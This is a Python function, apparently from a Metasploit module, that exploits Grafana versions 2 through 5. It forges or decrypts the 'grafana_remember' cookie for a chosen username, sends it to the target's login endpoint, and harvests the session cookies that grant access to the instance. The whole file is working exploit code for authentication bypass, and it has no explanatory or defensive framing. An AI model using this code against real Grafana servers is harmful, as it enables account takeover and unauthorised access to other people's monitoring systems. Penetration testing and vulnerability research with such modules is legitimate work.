def METHOD_NAME(args):
    if dependencies_requests_missing:
        logging.error('Module dependency (requests) is missing, cannot continue')
        return
    if dependencies_cryptography_missing:
        logging.error('Module dependency (cryptography) is missing, cannot continue')
        return
    if args['VERSION'] == "5":
        try:
            username = args['USERNAME']
            cookie = encrypt_version5(args['USERNAME'])
            module.log("Encrypted remember cookie: "+cookie, "good")
        except:
            module.log(
                "No username set, trying to decrypt it from cookie.", "warning")
            try:
                username = decrypt_version5(args['COOKIE'])
                module.log("Decrypted username: "+username, "good")
                cookie = args['COOKIE']
            except:
                module.log("Unable to set username", "error")
                return
    elif args['VERSION'] == "2-4":
        try:
            username = args['USERNAME']
            cookie = encrypt_version4(args['USERNAME'])
            module.log("Encrypted remember cookie: "+cookie, "good")
        except:
            module.log(
                "No username set, trying to decrypt it from cookie.", "warning")
            try:
                username = decrypt_version4(args['COOKIE'])
                module.log("Decrypted username: "+username, "good")
                cookie = args['COOKIE']
            except:
                module.log("Unable to set username", "error")
                return
    else:
        module.log("Version not supported.", "error")
    try:
        cookies = {'grafana_remember': cookie, 'grafana_user': username}
        if args['SSL'] == "false":
            if args['TARGETURI'].endswith('/'):
                url = "http://" + args['RHOSTS'] + ":" + \
                    args['RPORT'] + args['TARGETURI'] + "login/"
            else:
                url = "http://" + args['RHOSTS'] + ":" + \
                    args['RPORT'] + args['TARGETURI'] + "/login/"
        elif args['SSL'] == "true":
            if args['TARGETURI'].endswith('/'):
                url = "https://" + args['RHOSTS'] + ":" + \
                    args['RPORT'] + args['TARGETURI'] + "login/"
            else:
                url = "https://" + args['RHOSTS'] + ":" + \
                    args['RPORT'] + args['TARGETURI'] + "/login/"
        module.log('Targeting URL: ' + url, 'debug')
        r = requests.get(url=url, cookies=cookies, allow_redirects=False)
    except:
        module.log("Failed to sending request to host.", "error")
        return
    if r.status_code == 302:
        try:
            grafana_user = re.search(
                r"grafana_user=.*?;", r.headers['Set-Cookie']).group(0)
            grafana_remember = re.search(
                r"grafana_remember=.*?;", r.headers['Set-Cookie']).group(0)
            grafana_sess = re.search(
                r"grafana_sess=.*?;", r.headers['Set-Cookie']).group(0)
            module.log(
                "Set following cookies to get access to the grafana instance.", "good")
            module.log(grafana_user, "good")
            module.log(grafana_remember, "good")
            module.log(grafana_sess, "good")
        except:
            module.log("Failed to generate cookies out of request.", "error")
            return
    else:
        module.log("Target is not vulnerable.", "warning")
        return